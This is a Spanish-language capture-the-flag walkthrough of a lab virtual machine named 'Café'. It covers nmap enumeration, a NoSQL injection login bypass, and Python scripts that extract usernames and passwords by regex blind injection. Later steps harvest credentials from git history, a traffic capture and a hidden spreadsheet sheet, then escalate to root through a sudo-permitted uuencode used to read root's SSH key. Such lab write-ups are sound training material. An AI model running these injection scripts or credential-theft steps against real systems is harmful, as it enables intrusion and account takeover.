Café

Sistema operativo | Dificultad | Fecha de Lanzamiento | Creador |
---|---|---|---|
Linux | Experto | 28 Junio 2024 | D4redevil |
Enumeración inicial
Realizamos un escaneo con nmap
para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts 192.168.1.18 -vvv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-21 21:11 -03
Initiating ARP Ping Scan at 21:11
Scanning 192.168.1.18 [1 port]
Completed ARP Ping Scan at 21:11, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 21:11
Scanning 192.168.1.18 [65535 ports]
Discovered open port 22/tcp on 192.168.1.18
Discovered open port 21/tcp on 192.168.1.18
Discovered open port 80/tcp on 192.168.1.18
Completed SYN Stealth Scan at 21:11, 29.17s elapsed (65535 total ports)
Nmap scan report for 192.168.1.18
Host is up, received arp-response (0.00043s latency).
Scanned at 2025-01-21 21:11:29 -03 for 29s
Not shown: 45547 filtered tcp ports (no-response), 19985 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 64
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 63
MAC Address: 08:00:27:D8:B2:74 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 29.34 seconds
Raw packets sent: 117324 (5.162MB) | Rcvd: 19990 (799.604KB)
Lanzamos una serie de script básicos de enumeración propios de nmap
, para conocer la versión y servicio que esta corriendo bajo los puertos.
nmap -sCV -p21,22,80 -oN servicesScan 192.168.1.18 -vvv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-21 21:12 -03
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:12
Completed NSE at 21:12, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:12
Completed NSE at 21:12, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:12
Completed NSE at 21:12, 0.00s elapsed
Initiating ARP Ping Scan at 21:12
Scanning 192.168.1.18 [1 port]
Completed ARP Ping Scan at 21:12, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:12
Completed Parallel DNS resolution of 1 host. at 21:12, 0.01s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 21:12
Scanning 192.168.1.18 [3 ports]
Discovered open port 22/tcp on 192.168.1.18
Discovered open port 21/tcp on 192.168.1.18
Discovered open port 80/tcp on 192.168.1.18
Completed SYN Stealth Scan at 21:12, 0.01s elapsed (3 total ports)
Initiating Service scan at 21:12
Scanning 3 services on 192.168.1.18
Completed Service scan at 21:12, 6.04s elapsed (3 services on 1 host)
NSE: Script scanning 192.168.1.18.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:12
Completed NSE at 21:12, 3.03s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:12
Completed NSE at 21:12, 0.05s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:12
Completed NSE at 21:12, 0.00s elapsed
Nmap scan report for 192.168.1.18
Host is up, received arp-response (0.00077s latency).
Scanned at 2025-01-21 21:12:37 -03 for 10s
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 64 vsftpd 3.0.3
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
| 256 cf:0e:0b:9c:15:6f:16:c2:38:1e:5d:3a:1f:28:c8:97 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKMRy47BXxd4/bcDInsfR56aPVHjmRQuj3IFtfwgIYluIZQwu+FuaCKn3n9BSJru5j/FAM8FBM/T3D0mcv+sKxw=
| 256 09:2b:1f:58:fd:e1:6c:36:11:59:85:84:59:76:fd:b5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAs8jtaP4v2Nc2BW4hwSG4R6HzaR8dnLGt9MuJy4ZS9a
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.62 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: El Templo Del Caf\xC3\xA9 | Cafeter\xC3\xADa
MAC Address: 08:00:27:D8:B2:74 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:12
Completed NSE at 21:12, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:12
Completed NSE at 21:12, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:12
Completed NSE at 21:12, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.73 seconds
Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
Explotación inicial
HTTP (80)
Ingresamos a la web que esta corriendo bajo el puerto 80 y nos encontramos con lo siguiente:
Una web al parecer de una cafetería, la cual ofrece distintas variedades de café.
Recorriendo las distintas secciones del sitio, encontramos una que permite realizar reservaciones de forma online, pero para ello debemos iniciar sesión.
Probamos con una inyección SQL básica como puedes ser ' OR 1=1-- -
o ' OR 1=1#
pero no tenemos suerte.
Lo que podemos hacer, es tramitar la petición a través de Burp Suite para poder analizarla y manipularla de forma más comoda.
La enviamos al Repeater.
Les adelanto que este formulario es vulnerable a NO SQL Injection.
Para demostrarlo, cambiaremos el valor del payload por lo siguiente:
username[$ne]=test&password[$ne]=test
Vemos que nos devuelve un estado 302 y si le damos a Follow redirection
nos redirije al panel.
De esta forma logramos explotar la vulnerabilidad para hacer un bypass del login pero vemos que la web se encuentra en contrucción, lo cual no nos da mucha información.
Para ello, lo que haremos será aprovechar la vulnerabilidad de No SQL Injection para enumerar los usuarios de la base de datos.
Para automatizar este proceso montaremos algunos scripts en Python.
En primer lugar, enumeraremos los caracteres que conforman los distintos nombres de usuario.
Creamos un entorno virtual en python.
python3 -m venv env
source env/bin/activate
pip3 install requests pwntools
Ahora que tenemos el entorno virtual y los paquetes necesarios comenzamos con el primer script.
import requests
import string
from pwn import *
url = 'http://192.168.1.18/reservation.php'
def getUser():
p1 = log.progress("No SQL Injection")
p1.status("Obteniendo los caracteres que conforman los nombres de los usuarios")
time.sleep(2)
p2 = log.progress("Datos extraídos")
extracted_info = ''
for char in string.ascii_lowercase:
regex = '{}.*'.format(char)
data = { 'username[$regex]' : regex, 'password[$ne]' : 'test'}
p1.status(data)
res = requests.post(url, data = data, allow_redirects=False)
if res.status_code == 302:
if len(extracted_info) > 0:
extracted_info += ','
extracted_info += char
p2.status(extracted_info)
if __name__ == '__main__':
getUser()
Ahora que tenemos los caracteres que conforman los nombres de usuarios, creamos otro script para recuperar el primer caracter de los nombres de usuario, es decir, el caracter inicial.
import requests
import string
from pwn import *
url = 'http://192.168.1.18/reservation.php'
def getUser():
p1 = log.progress("No SQL Injection")
p1.status("Obteniendo los caracteres iniciales de los nombres de usuario")
time.sleep(2)
p2 = log.progress("Datos extraídos")
extracted_info = ''
for char in ['a','d','e','i','k','l','n','r','t','u']:
regex = '^{}.*'.format(char)
data = { 'username[$regex]' : regex, 'password[$ne]' : 'test'}
p1.status(data)
res = requests.post(url, data = data, allow_redirects=False)
if res.status_code == 302:
if len(extracted_info) > 0:
extracted_info += ','
extracted_info += char
p2.status(extracted_info)
if __name__ == '__main__':
getUser()
Ahora que sabemos los caracteres iniciales, recuperamos el resto de caracteres
import requests
import string
from pwn import *
url = 'http://192.168.1.18/reservation.php'
def sendPayload(word):
for char in ['a','d','e','i','k','l','n','r','t','u']:
regex = '^{}.*'.format(word + char)
data = { 'username[$regex]' : regex, 'password[$ne]' : 'test'}
res = requests.post(url, data = data, allow_redirects=False)
if res.status_code == 302:
return char
return None
def getUser():
for ch in ['d', 'k']:
username = ch
while True:
char = sendPayload(username)
if char != None:
username += char
else:
print("Username found: {}".format(username))
break
if __name__ == '__main__':
getUser()
Recuperamos los caracteres que componene las contraseñas de cada usuario.
from requests import post
from string import printable
url = 'http://192.168.1.18/reservation.php'
def sendPayload(user):
valid = []
for char in printable:
regex = '{}.*'.format(char)
data = { 'username' : user, 'password[$regex]' : regex }
response = post(url, data = data, allow_redirects=False)
if response.status_code == 302:
valid.append(char)
return valid
def getUser():
for user in ['daniel', 'kurt']:
valid = sendPayload(user)
print("Valid characters for {}: {}".format(user, valid))
if __name__ == '__main__':
getUser()
Por ultimo, recuperamos las contraseñas.
from requests import post
from string import printable
url = 'http://192.168.1.18/reservation.php'
daniel_pass = ['2', '5', '8', 'j', 'm', 'u', 'w', 'y', 'B', 'J', 'P', 'Q', 'T', 'Y', '\\$', '\\.', '\\\\', '\\^', '\\|']
kurt_pass = ['2', '6', '9', 'a', 'b', 'd', 'n', 't', 'x', 'y', 'G', 'M', 'Q', 'S', 'X', '\\$', '\\.', '\\\\', '\\^', '\\|']
def sendPayload(user, word):
valid = daniel_pass if user == 'daniel' else kurt_pass
for char in valid:
regex = '^{}.*'.format(word + char)
data = { 'username' : user, 'password[$regex]' : regex, 'login' : 'login' }
response = post(url, data = data, allow_redirects=False)
if response.status_code == 302:
return char
return None
def getUser():
for user in ['daniel', 'kurt']:
password = ''
while True:
char = sendPayload(user, password)
if char != None:
password += char
else:
print("Password for {} found: {}".format(user, password))
break
if __name__ == '__main__':
getUser()
daniel:P8ymBu8J5QjJYBwuT2
kurt:Q9axatnbX6dXSyM2bG
Enumeración / Movimiento lateral
Kurt -> Daniel
Nos conectamos con las credenciales de kurt
al sistema, ya que se esta reutilizando la contraseña.
Enumerando el sistema, encontramos un mail por parte de daniel
el cual nos dice que esta por terminar el sistema de stock que esta desarrollando.
Si miramos el directorio de la app, encontramos las credenciales de la base de datos en el código.
Nos concectamos a la base de datos y enumeramos usuarios.
Encontramos un usuario llamado admin
y la contraseña es un hash, el cual les adelanto no podremos crackear.
Si seguimos enumerando, nos encontramos con una carpeta .git
en el directorio del proyecto.
Si enumeramos usando git, podemos ver que hay dos commits y el ultimo de ellos tiene un mensaje particular, el cual indica que se cambio la contraseña de la base de datos.
Si miramos las diferencias entre ambos commits, podemos ver la contraseña anterior.
Utilizamos estas credenciales para iniciar sesión en el sistema como daniel.
daniel:nPk2PqwZ5ZZddFWx6v
Daniel -> Sofia
Si enumeramos el sistema, encontramos un archivo capture.cap el cual corresponde a una captura de tráfico.
Si miramos con el comando strings
vemos la conexión del usuario sofia al servicio ftp y sus credenciales en texto plano.
sofia:KkkTpRS1H2cVBV81ZM
sofia -> ana
Nos movemos al usuario sofia.
Leemos el flag de user.txt
Si vemos los grupos a los cuales pertenece sofia, vemos uno un tanto particular, el grupo finanzas
.
Buscamos por archivos y directorios que tengan este grupo asignado.
Vemos que existe un directorio finanzas_cafeteria
y dentro de este un archivo finanzas.xlsx
Descargamos el archivo.
Podemos accerlo a través de samba, ya que el directorio es un recurso compartido.
Abrimos el archivo, en este caso con LibreOffice Calc.
Al abrir el archivo, nos encontramos con lo siguiente:
Pero si prestamos antención a la parte inferior donde se muestran las hojas, vemos que indica “Hoja 2” y “Hoja 2 de 2” lo que nos hace pensar que existe una primera hoja, que al parecer esta oculta.
Para mostrar la hoja oculta, hacemos clic derecho sobre la hoja “Hoja 2” y le damos “Mostrar Hoja…”
Esto abre un nuevo cuadro de dialogo listando la hoja oculta, la seleccionamos y damos “Ok”.
De forma automática nos muestra la “Hoja 1” que estaba oculta.
Vemos lo que parecen ser distintas credenciales de varias plataformas, pero hay una particular que nos interesa, la de Cafetería.
ana:g@Y5YSCFt1rd4SEwkm
Utilizamos estas credenciales para conectarnos por ssh con el usuario ana
.
Elevación de privilegios
Si realizamos una enumeración básica, encontramos que el usuario ana puede ejecutar con sudo y sin solicitar contraseña el comando /usr/bin/uuencode
.
Si buscamos en GTFOBins encontramos que existe una forma de abusar de este para poder leer archivos en este contexto.
https://gtfobins.github.io/gtfobins/uudecode/
Leemos el archivo id_rsa
del usuario root.
Copiamos la clave RSA a un archivo de nuestra máquina atacante y le asignamos permisos correspondientes, para luego conectarnos al sistema como root
.
Post Explotación
De esta forma, logramos escalar privilegios y podemos leer el flag del archivo root.txt
.
De esta manera, concluimos la resolución de la máquina Café.
¡Gracias por leer!
¡Happy Hacking!